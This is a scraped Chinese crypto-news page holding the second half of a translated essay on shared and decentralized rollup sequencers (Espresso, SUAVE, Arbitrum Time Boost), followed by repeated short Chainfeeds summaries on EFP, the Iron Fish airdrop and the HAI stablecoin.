一旦交易排序的共识达成，执行 (和证明) 可以延迟到一个完全不同的链去进行: 在执行层进行的工作不需要去中心化，因为这不是抗审查的来源。单一型定序器对于抗审查来说并不理想，但这其中不利于抗审查的点与定序器的执行流程无关。它们的审查权来自于它们能够排序并打包交易的权限。而在执行层，共享定序器已经提供了排序好的交易输入，因此也提供了抗审查性。那么之后对状态承诺的计算和比较就不需要那么去中心化了。 软执行 快速软执行的第一步是用户喜欢的： 这需要某种形式的共识 (或者一个中心化的定序器) 来提供这样的出色用户体验： 如果你只是依赖于像 Celestia 这样的基础层的共识，你就不能很好地保证这些关于排序和打包的软承诺。如果共享排序层具有一个质押了大量价值的去中心化委员会，那么它可以在快速出块 (亚 L1 区块时间) 上提供相当强的承诺。 因此，一旦共享定序器创建一个区块，用户就可以得到软确认。任何人都可以下载已达成共识的交易，并提前地将它们应用到状态中。这种确认的强度取决于共享定序器的构造 (去中心化、经济安全、分叉选择规则等)。一旦数据实际发布到基础层，就可以将这些交易视为最终被敲定。然后可以生成状态根和相关证明的最终计算并提交。 懒人 Rollup (Lazy Rollups) “懒人 Rollup” 非常简单。这些 rollup 等到它们的交易全部被排序并发布到 DA 层，然后它们就可以下载这些交易，可选地应用一个分叉选择规则来选择一个交易子集，执行交易处理，并将这些交易应用到状态中。然后就可以生成区块链链头并进行广播。 注意，因为共享定序器不能以一种访问完整状态的方式产生区块，所以它们没有检查无效的状态转换的功能。因此，使用共享定序器的 “lazy rollup” 的状态机必须能够处理无效交易。节点在执行已排序的交易以计算结果状态时，可以简单地删除无效的/回滚的交易。实施即时执行的传统 rollup 就没有这种限制。 如果 rollup 要求访问状态来压缩交易，再将它们打包上链，在这里是行不通的。例如，在这里 rollup 有一个区块有效性规则，其中区块中包含的所有交易都是有效的。如果 rollup 需要压缩交易，但不需要状态访问，那么可以专门为这种类型的 rollup 创建一个特殊的共享定序器 (例如，类似 Fuel v2 或具有私人交易池的 rollup)。 支付 gas 要让这个共享定序器运行，必须有某种机制让用户为他们的交易打包到 L1 中而付费。可以简单地使用大多数 rollup 交易类型中已经包含的现有签名和地址来支付共享排序层的 gas费用。这将要求共享定序器了解不同实现所需的最小状态，例如：解析签名、nonce，从帐户中减去气体，等等实现。或者，支付可以涉及共享定序器上的一些封装交易，任何人都可以为打包的任意数据付费。这是一个开放的设计空间。 分叉选择规则 Rollup 能够继承它们所使用的共享定序器的分叉选择规则。然后，rollup 的完整节点实际上是共享定序器的轻客户端，它们检查某些承诺，以表明对于给定的区块高度，哪个 rollup 区块是正确的。 然而，继承共享定序器的分叉选择规则是可选的 —— 你可以简单地要求 rollup 处理 (不一定执行) 提交到基础层的所有交易数据。它将有效地继承基础层的抗审查性和活性，但这将牺牲许多用户喜爱的共享定序器所拥有的功能。 MEV 假设一个 rollup 想要继承其共享定序器的分叉选择规则并获得快速的软执行，从 MEV 方面来说，这个共享定序器自然会处于一个非常中心化的位置。它决定 rollup 将遵守怎样的交易打包和排序。 然而，并不是说 rollup 必须执行共享定序器提供的交易，或者按提供的顺序执行。从技术上讲，你可以允许自己的 rollup 运营节点执行第二轮处理，以便在执行之后对共享定序器发布的交易重新排序。然而，如上所述，你将会失去大部分首先使用共享定序器的良好特性，因此这种情况似乎不太可能发生。 即使在这种情况下，共享排序层仍然可能存在 MEV，因为它有权打包交易。如果你真的想，你甚至可以允许你的 rollup 在第二轮处理中排除某些交易 (例如，利用一些有效性条件来排除某些交易类型)，但这当然会变得混乱，减少了抗审查性，并再次失去共享定序器的好处。 交换共享定序器 区块链中难以分叉的是任何形式的有价值的共享状态。看看像 ETH vs. ETC 或类似的 ETH vs. ETH POW，社会共识决定了什么是 “真正的以太坊”。我们都同意的 “真实” 状态是有价值的。 然而，共享定序器实际上只是一个服务提供者 —— 它们没有与之相关的有价值的状态。使用给定共享定序器的 rollup 可以保留分叉的能力，只需要一个较小型的硬分叉就可以转而支持其他排序机制 (例如，当出现共享定序器提取了太多价值的情况)。这将有望保持共享定序器的竞争力。 网络效应可能会让这变得更具挑战性。如果许多 rollup 都开始使用共享定序器，并且它们获得了巨大的网络效应 (例如，如果他们从许多链的潜在跨链原子性中获得了有意义的价值)，那么除非其他 rollup 也愿意转移，否则脱离这个网络效应可能是很痛苦的。 你可能已经看到EigenLayer白皮书提到去中心化的共享定序器是再质押的潜在消费者之一。这个共享定序器可以由 ETH 再质押者保护，并且它可以处理许多不同 L2 的交易排序。 好吧，Espresso 刚刚公开宣布他们的共享定序器计划。它可以利用 EigenLayer 再质押者来为其共识提供安全保障。为了更好地可视化，下图为当前 rollup 的样子: 下图为 rollup 有了像 Espresso 这样的共享定序器之后的样子： Espresso Sequencer (ESQ) 与 Metro 的总体思路非常相似。它的工作原理是一样的 —— 将交易执行从排序中剥离出来。除此之外，ESQ 还将为交易提供数据可用性。 HotShot 共识 & Espresso 数据可用性 (DA) 简单说一下背景，以太坊目前使用 Gasper 作为其共识机制 (Casper FFG 作为敲定工具 + LMD GHOST 作为分叉选择规则)。与此相关的 “太长不读” 是：即使在大多数节点可能退出网络 (动态可用性) 的悲观条件下，Gasper 也能维持网络活性。它有效地运行两个协议(Casper FFG 和 LMD Ghost)，这两个协议共同维护一个具有敲定前缀的动态可用链。但是维持网络实时活性的同时，Gasper 牺牲了交易的快速最终确定性 (在网络允许的情况下尽可能快地确认交易的能力)。 总的来说，ESQ 包括： 让我们仔细看看 DA 的情况。在乐观的情况下，高带宽节点将向所有其他节点提供数据，并且每个单独区块的可用性也由随机选出的小型委员会提供支持。考虑到针对小型委员会的 DDoS 和贿赂攻击的风险，可验证的信息分散(VID)将用于提供可靠 (但速度较慢) 的备份路径以保证 DA，只要所有节点中足够高的比例 (按质押计算) 没有受到攻击。 这个系统是为扩容而构建的，因此 ESQ 希望为选择其作为共享定序器的 L2 提供更便宜的 DA。他们仍然会将他们的证明和状态更新结算给 L1 以太坊，但请注意，这将使使用 ESQ 的链默认成为 “validium” 或 “optimistic 链”，而不是完整的 “rollup” (即他们的 DA 不受以太坊 L1 的保证)。它比数据可用性委员会 (data availability committees, dac)的简单实现更强大，但它比真正的 rollup 提供的安全保证要弱。 交易流程 转发到共享定序器的交易将被排序，然后在 L1 上敲定之前发送回 rollup 的执行器和证明器中。共享定序器还向其 L1 定序器合约发送对区块的承诺，以及用于验证区块的一个证书。这允许 L1 rollup 合约将 rollup 状态更新证明与被认证为共识输出的区块承诺进行比较。 交易流程的完整视图: 正如 Espresso 文章中提到的，一个共享定序器可以提供一些和跨链原子性相关的令人兴奋的用例： “跨多个 rollup 的共享排序层有望使跨链消息传递和桥接更便宜、更快、更安全。无需为另一条链的定序器构建轻客户端是一个免费的好处，没有成本，这为前期创造了潜在的节省空间。通过移除给定 rollup 独立地同步其他 rollup 共识的需要，跨 rollup 桥接也可以实现持续的节省。共享定序器还为桥接提供了安全优势：它可以保证当且仅当 (甚至同时) 一笔交易在另一个 rollup 中被敲定时，该交易才会在它所在的 rollup 中被敲定。 另外，共享定序器增强了用户在不同 rollup 交易之间表达原子依赖关系的能力。通常来说，Alice 会在 Bob 的 rollup-B 交易 t’ 之外签署和发布她的 rollup-A 交易 t。在这种情况下，Alice 的交易可能会在 Bob 的交易之前很长时间被排序，让 Bob 有一个长时间的中止选项 (例如，中止交易)。这种可选性失衡可以通过共享定序器来缓解，其中 Alice 和 Bob 可以将两个交易作为一个已签名的捆绑包一起提交 (即，定序器必须将这两个交易视为一个)。” 随着链上活动最终开始增长(我希望)，这对跨域 MEV有影响。典型的例子是 “原子套利”。同样的资产在两条不同的链上以两种不同的价格进行交易。搜索者希望通过在没有执行风险的情况下同时执行两笔交易来从中套利。例如： 要实现原子套利 = 要么两个交易都被填充，要么两个都没有被填充。如果两个 rollup 都选择到相同的共享定序器中，那么它可以为搜索者实现这种原子套利。在这里共享定序器可以保证： 假设 rollup 虚拟机依次执行各自流中的所有交易 (即没有无效指令，只是一些指令可能会抛出错误，但不影响状态)，那么我们也可以保证： 然而，这和在共享状态机 (例如，完全在以太坊 L1 上) 上进行交易仍然是不一样的保证。如前所述，共享定序器不持有这些 rollup 的状态，并且它们不执行交易。因此不能完全保证某个交易 (在 R1 或 R2 上) 在执行时不会回滚。 直接在此基础上构建更高级的原语是有问题的。例如，如果试图在此共享定序器之上构建一个即时“销毁-铸造” 的跨链桥接功能，该功能同时在完全相同的区块高度上执行以下操作: 你可能会遇到这样的情况： 你可以看到这将是一个多么大的问题。 可能在某些情况下，只要这两个交易都包含在输入流中并因而被执行，就可以确定这两个交易的预期结果，但情况往往不是这样的。这是一个悬而未决的问题，这个过程可以： 保证— T1 和 T2 将包含在各自的流中，并且 (可能) 两者都会执行。 不保证— 成功执行两个交易和由此产生的预期状态。 这种 “保证” 对于原子套利 (搜索者已经拥有在每条链上执行这些交易所需的资产) 来说可能是足够的，但它显然不是共享状态机的同步可组合性。对于像跨链闪电贷这样的东西来说，这种保证本身是不足够的。 但是，当与其他跨链消息传递协议结合使用时，这在其他设置中可能仍然有用。让我们看看在与跨 rollup 消息传递协议一起使用时，如何促进跨链原子 NFT 交换: - T1 将 ETH 从 U1 (用户1) 移动到 R1 上的 SC1 (智能合约 1) - T2 将 NFT 从 U2 (用户2) 移动到 R2 上的 SC2 (智能合约 2) - 当且仅当 SC1 首先收到来自 SC2 确认已存入 NFT 的消息时，它才会允许 U2 赎回 ETH - 当且仅当 SC2 首先收到来自 SC1 确认已存入 ETH 的消息时，它才会允许 U1 赎回 NFT - 两个智能合约都实施了一个时间锁，这样如果任何一方失败，各方都可以收回他们的资产 这里的共享定序器允许两个用户在步骤 1 中进行原子提交。然后，使用某种形式的跨 rollup 消息传递机制来验证彼此的结果状态，并解锁资产以执行交换。 如果没有共享定序器使其以原子的方式进行，双方可以商定一个价格。但是 U1 可以提交他们的交易，U2 可以等待并决定他们是否想要中止交易。而有了共享定序器，他们的交易是被锁定的。 共享定序器实现的跨链原子性的内容大概就这么多。总结: 关于跨链原子性的其他有趣的主题，我推荐查看： 共享定序器总结 总结一下，共享定序器的基本理念是： 显然，这个坐标图不是定律，一切都是高度主观的，它非常依赖于确切的结构。但是总的来说可以这样进行比较： 中心化定序器—— 如果你完全控制系统，通常最容易实现你想要的任何功能。但是，在预确认强度方面具有次优的保证、强制退出可能是不可取的、活性也可能是次优的，等等。 去中心化的 L2 定序器—— 与单一型定序器相比，质押了有意义的价值的分布式集合应该增加 rollup 的鲁棒性。但是，可能会根据它的实现方式，需要以延迟等方式为代价 (例如，许多 L2 节点可能需要在确认 rollup 区块之前进行投票)。 L1 负责排序—— 最大化去中心化、抗审查性、活性等等。然而，它缺少一些特性 (例如，快速预确认、数据吞吐量限制)。 共享定序器—— 可以从中获得去中心化定序器的功能；与其他人共享定序器可以从中获益 (得到某种程度的原子性)；不需要启动自己的定序器子集，等等。然而，在 L1 最终敲定之前的过渡时期，与 L1 排序相比，确实具有更弱的保证。此外，共享排序层可以将多个 rollup 中的委员会、经济安全等聚合到一个地方 (可能比每个 rollup 都有自己的委员会这种情况要强得多)。 最终，一旦区块在 L1 敲定，所有 rollup 都会返回到 100% 的 L1 安全性。大多数定序器设计只是试图在获得 L1 结算的完全安全之前的过渡时期给用户提供非常好的功能，但对状态的保证力度较弱。他们都有不同的权衡。 当我们讨论这些试图为许多其他链处理交易的共享层时，这里的差异可能会变得非常令人困惑。特别是SUAVE作为 “排序层 (sequencing layer)” 这一组件经常和其他术语一块出现，比如还有另一个组件是 “针对 rollup 的去中心化区块构建者”。需要明确的是 —— SUAVE 与上面描述的共享定序器设计非常不同。 让我们看看 SUAVE 如何与以太坊对接。SUAVE 不会以任何方式被写入以太坊协议。用户只需将他们的交易发送到加密的交易池中。然后，SUAVE 执行器网络可以为以太坊 (或类似的任何其他链) 生成一个区块 (或部分区块)。这些区块将与传统的以太坊中心化构建者的区块竞争。以太坊区块提议者可以同时监听这两种区块，并选择他们想要提议的区块。 同样，SUAVE 也不会取代 rollup 选择其区块的机制。例如，rollup 可以实现 PoS 共识子集，其运作方式可能与以太坊 L1 的运作方式大致相同。然后，这些定序器/验证者可以选择由 SUAVE 为他们生成的块。 这与上文描述的共享定序器非常不同。**在共享定序器的设计中，rollup 可以完全移除去中心化定序器的需要。他们只是简单地通过添加 Metro 或 ESQ 之类的可选项来外包这个排序功能，并且可以选择继承这些共享排序层的分叉选择规则。**以太坊、Arbitrum、Optimism 等不会改变其分叉选择规则，以选择 SUAVE 进行所有的交易排序。 SUAVE 并不关心你的链的分叉选择规则是什么，也不关心你的区块是如何被选择的。它旨在为任何域提供最有利可图的排序。请注意，与前面描述的共享定序器节点不同，SUAVE 执行器通常是“完全有状态的” (尽管它们也可能满足某些不需要状态的首选项)。他们需要模拟不同交易的结果，以创建最优排序。 为了解两者的差异，在这里举一个用户想要进行跨链原子套利的示例。他们将交易提交给 SUAVE vs. 提交给共享定序器，获得以下保证： SUAVE + 共享定序器 那么现在我们讨论 SUAVE 如何与去中心化的 rollup 定序器、甚至共享定序器互动？Espresso 似乎相信 SUAVE 与 ESQ 兼容，正如他们在文章中所描述的。ESQ 旨在与私有交易池服务 (如SUAVE)兼容，这些服务可以作为区块构建者。它看起来类似于我们在以太坊上使用的 PBS： 共享提议者= 共享定序器 共享构建者= SUAVE 与 PBS 一样，构建者可以从提议者 (即这里的定序器) 那里获得一个盲承诺，来提议一个给定的区块。提议者只知道从提议区块中获得的总效用 (构建者的出价)，而不知道区块的交易内容。 现在把它们放在一起，让我们再回头看刚刚想要做跨链套利的搜索者那个例子。SUAVE 本身可以构建并发送到两个不同的 rollup: 但很有可能 B1 赢得拍卖，而 B2 输掉 (或反之)。然后，让我们想一下，如果这两个 rollup 被选择到相同的共享定序器中会发生什么。 共享定序器节点基本上是愚蠢的。 他们不了解交易到底在做什么，所以他们需要有人 (比如SUAVE，或者其他 MEV 构建者) 为他们构建一个完整的区块，如果他们要提高效率的话。那么，SUAVE 执行器可以将 B1 和 B2 提交给共享定序器，条件是这两个区块都可以被填充或被毙掉 (即原子地执行或放弃这两个区块)。 现在你可以在整个过程中得到很好的经济保证： SUAVE = 共享构建者=可以保证 B1 和 B2 都被包含并以原子的方式执行时的状态结果。 共享定序器 = 共享提议者=可以保证 B1 和 B2 都被包含并以原子的方式执行了。 再质押 Rollup (Restaked Rollups) 我最近在 Flashbots 论坛上发表了一篇关于 SUAVE 潜在经济安全模型的文章。我论证了为什么从长期来看，对 SUAVE 而言，rollup 可能是比再质押更好的选择。 Hasu 也针对再质押和 rollup 之间的权衡做了一些非常深思熟虑的回应，我鼓励大家去阅读一下。以下是他的回应的摘要: 但我有一个新想法 —— 两者都做怎么样？再质押 rollup。 这并没有解决 Hasu 提到的所有问题，但它仍然是一个非常有趣的新选项，特别是从长远来看。 相比于仅仅由 EigenLayer 的再质押者 (更像是它自己在 L1 借来的安全) 来提供安全保证，rollup 可以利用这些 EigenLayer 的再质押者来维持它的本地共识，但是这个链随后会回到以太坊 (即，它向以太坊发布它的数据和证明)。 如前所述，rollup 可以决定实现自己的本地共识，以便在真正的 L1 敲定之前，对短期预确认和抗重组实现更强的保证。那么，为什么我们不把这个 rollup 共识子集变成一组以太坊再质押者？现在两样都有了： L1 之前的最终确定性 —— 高价值、去中心化的再质押共识，提供强大的短期内抗重组。 L1 之后的最终确定性 —— 仍然是一个 rollup！它将其数据发布到以太坊，并且可以发布 ZK/欺诈证明。 一旦 L1 敲定了，这与任何 rollup 的安全性是一样的。这只是实现其自身共识的 rollup 的一种变体。只是，它没有像前面描述的那样，在其 rollup 上拥有自己的验证者子集，并由自己的原生代币保护，而是选择让以太坊的再质押者运行共识。 同样，如果 Celestia 能够在其协议实现某种形式的再质押，那将是一件很有趣的事情 (目前的计划是 Celestia 的 L1 是非常小的，并且没有智能合约的功能)。我之前曾写过，对于 Celestia 来说，写进协议的 rollup 将是一个有趣的方向，而原生再质押将是另一个令人着迷的工具，允许自由市场决定他们想要加入什么功能。再质押对 Celestia 的经济安全性方面也有帮助，因为可替代 DA 层的价值累积模型仍未得到证实。 这里最简单的方式 (现在 rollup 通常做的事情) 是用简洁的 FCFS (先到先服务) 规则运行单一型定序器。定序器只是按照它们接收到交易的顺序提交交易。你可以合理地信任单个定序器遵守 FCFS 排序规则，但它仍然会激励延时竞争 (latency races) 和其他问题中的相关负外部性 (不要实施 PoW 来尝试解决它)。因此，即使是中心化定序器也需要更有效地应对 MEV。 上面提到的一些解决方案已经含蓄地处理了这个问题 (例如，举办一个完全免费的公开拍卖)，但显然没有一个 rollup 想让它们的用户被发起三明治攻击。所以，我们可能需要一些创意。将拍卖的好处与可编程隐私结合起来会让它变得更有趣。 这就是为什么中心化定序器现在也喜欢使用私有交易池 —— 试图确保用户不会抢跑交易等等。但是实现去中心化并不容易。如果向许多定序器开放，你会相信它们运行自己的私有交易池？即使你相信，如果每个定序器都有自己的私有交易池，并且你需要开始轮换活跃的定序领导者，那也可能会有问题。 加密交易池是解决这些问题的一个很吸引人的研究领域。下面我简单向大家推荐我刚发的这个帖子的相关信息： https://twitter.com/jon_charb/status/1635837710605639683?s=20 In this post, I’ll just give a brief overview of some variations of FCFS proposals. 在这篇文章中，我将简要概述 FCFS 提案的一些变体。 意识到简单 FCFS 的局限性和负外部性，Arbitrum 开始探索它的新变体。最近，他们提议了 Time Boost 机制。基本原理： Time boost 的计算公式如下: 其中： F = 交易的优先打包费用 g = 可用的最大时间加速 (500 毫秒) c = 待确定的常数 目前，搜索者只能通过尽量减少对 Arbitrum 定序器的延时来表达他们对快速打包到定序器的偏好 (打开许多连接、在物理上接近它、在基础设施方面投入资本等)。Time Boost 反而会减少对上述延时优势进行投资的动机，因为搜索者现在可以通过优先打包费用竞价来表达他们对快速打包的偏好。 这是对简单 FCFS 的明显改进，但在我看来仍有一些缺点: FBA-FCFS 去年，来自 Flashbots 的 Xin 为 Arbitrum 提出了一个替代方案 (FBA-FCFS)。这实现了对于 Themis 的一个频繁 batch 拍卖风格的变体。在这个方案中： 与 Time Boost 提案类似，有一些尝试保证相对较快的打包时间 (建议小于 500 毫秒，但可以更改)，并防止通过可信节点抢跑。同样，它通过允许搜索者来表达他们的偏好 (优先打包费用机制)，减少了对延时竞争的激励 (尽管并没有完全消除所有优势)。 对于 “快速搜索者” 来说，在给定 batch 结束时，其他 “慢速搜索者” 无法与之竞争的延时优势仍然存在： 来源: Latency Arms Race Concerns in Blockspace Markets 这是这类拍卖的一个广为人知的方面。较长的 batch 处理时间会进一步使该延时优势相关的时间百分比越来越低，尽管这个 batch 潜在价值较高。较长的区块时间可能会对 MEV 产生其他影响 (例如，波动的价格)。 总结一下这个延时优势： 关于时间延时： FBA-FCFS 带来更多的可变性 (例如，交易可能会根据接收时间滑到下一个 batch)，但不支付优先打包费的常规用户交易的平均打包时间应该更低。在 Time Boost 模型中，时间是连续的 (没有区块的概念)，而在 FBA-FCFS 模型中，时间是离散的。总的来说： 延时和去中心化 这篇文章已经很长了，我也很累了，所以这部分请阅读 Phil 写的文章吧。感谢:( 希望读者现在对定序器去中心化的路径和相关的障碍有了个较为清晰的框架。这是 rollup 在未来几年走向成熟时需要应对的众多挑战之一。 其他一些有趣的探索领域包括： 感谢 Ben Fisch、 Josh Bowen、 Cem Özer、 Kelvin Fichter、 Zaki Manian、 Hasu、 Robert Miller、 Tarun Chitra、 Sreeram Kannan，以及其他许多人围绕这个话题的精彩讨论。  ( 24 min )

  • Open

    【英文长推】以太坊原生基础协议 EFP（Ethereum Follow Protocol）
    Chainfeeds 导读： brantly.eth 提出一个简单、开放、可组合的以太坊生态系统基础协议，利用现有的以太坊生态系统原语，用于跟踪其他以以太坊为根并原生使用 ENS 的以太坊账户。brantly.eth 发推对该协议的设计理念进行介绍，并希望征求反馈和意见。 文章来源： https://twitter.com/BrantlyMillegan/status/1648794925754974209 文章作者： brantly.eth 观点： brantly.eth：简单性和可扩展性：EFP 应该尽可能的简单，包括：1）一个以太坊账户可以创建和管理其他以太坊账户或 ENS 名称的列表，这些列表理论上也可以包含用户想要存储的任何数据（Twitter 名称，电子邮件地址等）；2）和 ENS 一样，用户可以将其列表存储在以太坊 L1 上，或使用 CCIP-read 将其存储在其他任何地方，这将实现免费或非常便宜地管理列表，尽管它需要初始 L1 设置交易；2）一个标签系统，具有标准化和任意的标签，借此账户可以维护用于不同的目的的多个列表。【原文为英文】 内容来源 brantly.eth：列表是公开的，可以用于不同的用例，包括：去中心化社交网络的社交图、出于交易目的跟踪 defi 活动、跟踪历史上重要账户的活动、跟踪重要的智能合约等等。【原文为英文】 内容来源 brantly.eth：相比 ENS，EFP 是一个单独的协议，由以太坊账户直接拥有列表（但允许该列表同时包含以太坊地址和 ENS 名称），列表本身可以是可转让的 NFT。让列表基于以太坊账户也遵循了 SIWE 的先例，将用户的私钥而不是 ENS 名称作为其身份的根；相比 Lens，EFP 是以太坊原生的，更简单，并可以利用 ENS 等现有的以太坊生态系统原语。【原文为英文】 内容来源  ( 2 min )
    【英文长推】以太坊原生基础协议 EFP（Ethereum Follow Protocol）
    Chainfeeds 导读： brantly.eth 提出一个简单、开放、可组合的以太坊生态系统基础协议，利用现有的以太坊生态系统原语，用于跟踪其他以以太坊为根并原生使用 ENS 的以太坊账户。brantly.eth 发推对该协议的设计理念进行介绍，并希望征求反馈和意见。 文章来源： https://twitter.com/BrantlyMillegan/status/1648794925754974209 文章作者： brantly.eth 观点： brantly.eth：简单性和可扩展性：EFP 应该尽可能的简单，包括：1）一个以太坊账户可以创建和管理其他以太坊账户或 ENS 名称的列表，这些列表理论上也可以包含用户想要存储的任何数据（Twitter 名称，电子邮件地址等）；2）和 ENS 一样，用户可以将其列表存储在以太坊 L1 上，或使用 CCIP-read 将其存储在其他任何地方，这将实现免费或非常便宜地管理列表，尽管它需要初始 L1 设置交易；2）一个标签系统，具有标准化和任意的标签，借此账户可以维护用于不同的目的的多个列表。【原文为英文】 内容来源 brantly.eth：列表是公开的，可以用于不同的用例，包括：去中心化社交网络的社交图、出于交易目的跟踪 defi 活动、跟踪历史上重要账户的活动、跟踪重要的智能合约等等。【原文为英文】 内容来源 brantly.eth：相比 ENS，EFP 是一个单独的协议，由以太坊账户直接拥有列表（但允许该列表同时包含以太坊地址和 ENS 名称），列表本身可以是可转让的 NFT。让列表基于以太坊账户也遵循了 SIWE 的先例，将用户的私钥而不是 ENS 名称作为其身份的根；相比 Lens，EFP 是以太坊原生的，更简单，并可以利用 ENS 等现有的以太坊生态系统原语。【原文为英文】 内容来源  ( 2 min )
    Iron Fish 主网来临：过半地址被反女巫，其空投规则是否合理？
    Chainfeeds 导读： Iron Fish 于 北京时间 4 月 21 日 24：00 上线主网，并将向早期用户正式空投代币。由于设置了严格的 KYC 程序，Iron Fish 空投再次掀起项目方该如何激励早期用户与限制女巫的论战。此外，空投价值能否覆盖早期测试成本，也是 Iron Fish 用户讨论的重点。ChainCatcher 作者饼干撰文梳理 Iron Fish 的发展历程、代币经济学，以及空投方案。 文章来源： https://www.chaincatcher.com/article/2091571 文章作者： 饼干 观点： 饼干：Elena Nadolinski 于 2018 年使用 Zcash 的 Sapling 协议开发了 Iron Fish 的原始版本。该公链使用 PoW 共识机制和零知识证明，让网络中的交易信息、挖矿信息、钱包信息全都处于隐藏状态，除私钥所有者外，任何第二方都无法查看。Iron Fish 激励测试网从 2021 年 12 月到 2023 年 2 月分三个阶段运行：第 1 阶段邀请矿工、发展社区并测试 Iron Fish 的基本构建块；第 2 阶段通过鼓励交易和节点正常运行时间对系统进行压力测试；第 3 阶段对多资产功能进行压力测试。 内容来源 饼干：Iron Fish 创世区块包含 4200 万枚代币。主网上线后每个区块 20 枚代币，假设区块时间为 60 秒，每年将有 525,600 个区块，总供应根据衰减系数和年份公式计算。首年挖矿产生的代币将达到 1050 万，是 Genesis 的 1/4，之后每年递减至达到 256,970,400 的最终供应量（创世后约 150 年）。创世代币中投资者、团队成员和顾问的份额将被锁定 12 个月，然后进入 12 个月解锁期。具体分配为基金会 18%、测试网及未来空投各 2.25%、Pre-seed 轮融资 5.1%、Seed 轮融资 9.9%、A 轮融资 14.5%、顾问 0.6%、核心团队 37.4%、IF Labs 及未来贡献各 5%。 内容来源 饼干：空投是一种原生的 Web3 营销策略，但现阶段似乎已经形成一种「潜规则」：投资方需要「健壮」的运营数据，项目方利用空投 PUA 羊毛党刷量。项目上线后，多个参与方赚得盆满钵满，最后的风险转嫁给不明真相的散户。由于监管正在给加密领域施加更强的合规压力，Iron Fish 主网上线后仍将面临不小的挑战。隐私币是黑客的必备工具，由此隐私赛道的加密货币经历了多轮「下架潮」。Elena Nadolinski 如何面对强监管的寒蝉效应，值得加密社区的关注。 内容来源  ( 5 min )
    Iron Fish 主网来临：过半地址被反女巫，其空投规则是否合理？
    Chainfeeds 导读： Iron Fish 于 北京时间 4 月 21 日 24：00 上线主网，并将向早期用户正式空投代币。由于设置了严格的 KYC 程序，Iron Fish 空投再次掀起项目方该如何激励早期用户与限制女巫的论战。此外，空投价值能否覆盖早期测试成本，也是 Iron Fish 用户讨论的重点。ChainCatcher 作者饼干撰文梳理 Iron Fish 的发展历程、代币经济学，以及空投方案。 文章来源： https://www.chaincatcher.com/article/2091571 文章作者： 饼干 观点： 饼干：Elena Nadolinski 于 2018 年使用 Zcash 的 Sapling 协议开发了 Iron Fish 的原始版本。该公链使用 PoW 共识机制和零知识证明，让网络中的交易信息、挖矿信息、钱包信息全都处于隐藏状态，除私钥所有者外，任何第二方都无法查看。Iron Fish 激励测试网从 2021 年 12 月到 2023 年 2 月分三个阶段运行：第 1 阶段邀请矿工、发展社区并测试 Iron Fish 的基本构建块；第 2 阶段通过鼓励交易和节点正常运行时间对系统进行压力测试；第 3 阶段对多资产功能进行压力测试。 内容来源 饼干：Iron Fish 创世区块包含 4200 万枚代币。主网上线后每个区块 20 枚代币，假设区块时间为 60 秒，每年将有 525,600 个区块，总供应根据衰减系数和年份公式计算。首年挖矿产生的代币将达到 1050 万，是 Genesis 的 1/4，之后每年递减至达到 256,970,400 的最终供应量（创世后约 150 年）。创世代币中投资者、团队成员和顾问的份额将被锁定 12 个月，然后进入 12 个月解锁期。具体分配为基金会 18%、测试网及未来空投各 2.25%、Pre-seed 轮融资 5.1%、Seed 轮融资 9.9%、A 轮融资 14.5%、顾问 0.6%、核心团队 37.4%、IF Labs 及未来贡献各 5%。 内容来源 饼干：空投是一种原生的 Web3 营销策略，但现阶段似乎已经形成一种「潜规则」：投资方需要「健壮」的运营数据，项目方利用空投 PUA 羊毛党刷量。项目上线后，多个参与方赚得盆满钵满，最后的风险转嫁给不明真相的散户。由于监管正在给加密领域施加更强的合规压力，Iron Fish 主网上线后仍将面临不小的挑战。隐私币是黑客的必备工具，由此隐私赛道的加密货币经历了多轮「下架潮」。Elena Nadolinski 如何面对强监管的寒蝉效应，值得加密社区的关注。 内容来源  ( 5 min )
    【英文】介绍 HAI：基于 Optimism 的 RAI 分叉多抵押稳定币
    Chainfeeds 导读： ameen 在 Reflexer 论坛发布讨论介绍 HAI，一种基于 Optimism 的 RAI 分叉多抵押稳定币，包括其设计中的治理模型、激励机制、代币经济学等等。 文章来源： https://community.reflexer.finance/t/announcing-hai-a-multi-collateral-rai-fork-on-optimism/461 文章作者： ameen 观点： ameen：概述：我们已经组建了一个团队来发布 HAI，ReflexerDAO 一直在提供相关技术指导和运营支持，Defi Wonderland 作为开发团队，SpankChain 作为唯一的种子轮投资者负责开发预算。我们预计将于 6 月 9 日推出测试网，7 月底推出主网。【原文为英文】 内容来源 ameen：HAI 的抵押品类型将包括 ETH、RAI、stETH/rETH 等 LSD，以及 OP 和 UNI 等 Optimism 上的资产，并有扩展空间；HAI 比 RAI 有更多预期的长期治理（例如增加 / 删除抵押品）；与 RAI 相同，由 PI 控制器设置赎回率；初始价格将是 1 美元，而不是像 RAI 的 3.14 美元那样的任意值。【原文为英文】 内容来源 ameen：HAI 的治理代币为 KITE，我们目前正在与 Tally 合作以确定治理合约。SpankChain 贡献了开源智能合约 The Money God Altar，以促进 HAI 和 RAI 社区之间的激励协调。KITE 供应量的 20% 将被存入以太坊主网上的 Sablier 流，接收方为 Altar 合约，用于回购和销毁 FLX。具体代币分配：20% 用于团队和顾问（10 人以上）、20% 用于 DAO 财政部、20% 用于 FLX 激励调整、40% 用于社区激励。【原文为英文】 内容来源  ( 4 min )
    【英文】介绍 HAI：基于 Optimism 的 RAI 分叉多抵押稳定币
    Chainfeeds 导读： ameen 在 Reflexer 论坛发布讨论介绍 HAI，一种基于 Optimism 的 RAI 分叉多抵押稳定币，包括其设计中的治理模型、激励机制、代币经济学等等。 文章来源： https://community.reflexer.finance/t/announcing-hai-a-multi-collateral-rai-fork-on-optimism/461 文章作者： ameen 观点： ameen：概述：我们已经组建了一个团队来发布 HAI，ReflexerDAO 一直在提供相关技术指导和运营支持，Defi Wonderland 作为开发团队，SpankChain 作为唯一的种子轮投资者负责开发预算。我们预计将于 6 月 9 日推出测试网，7 月底推出主网。【原文为英文】 内容来源 ameen：HAI 的抵押品类型将包括 ETH、RAI、stETH/rETH 等 LSD，以及 OP 和 UNI 等 Optimism 上的资产，并有扩展空间；HAI 比 RAI 有更多预期的长期治理（例如增加 / 删除抵押品）；与 RAI 相同，由 PI 控制器设置赎回率；初始价格将是 1 美元，而不是像 RAI 的 3.14 美元那样的任意值。【原文为英文】 内容来源 ameen：HAI 的治理代币为 KITE，我们目前正在与 Tally 合作以确定治理合约。SpankChain 贡献了开源智能合约 The Money God Altar，以促进 HAI 和 RAI 社区之间的激励协调。KITE 供应量的 20% 将被存入以太坊主网上的 Sablier 流，接收方为 Altar 合约，用于回购和销毁 FLX。具体代币分配：20% 用于团队和顾问（10 人以上）、20% 用于 DAO 财政部、20% 用于 FLX 激励调整、40% 用于社区激励。【原文为英文】 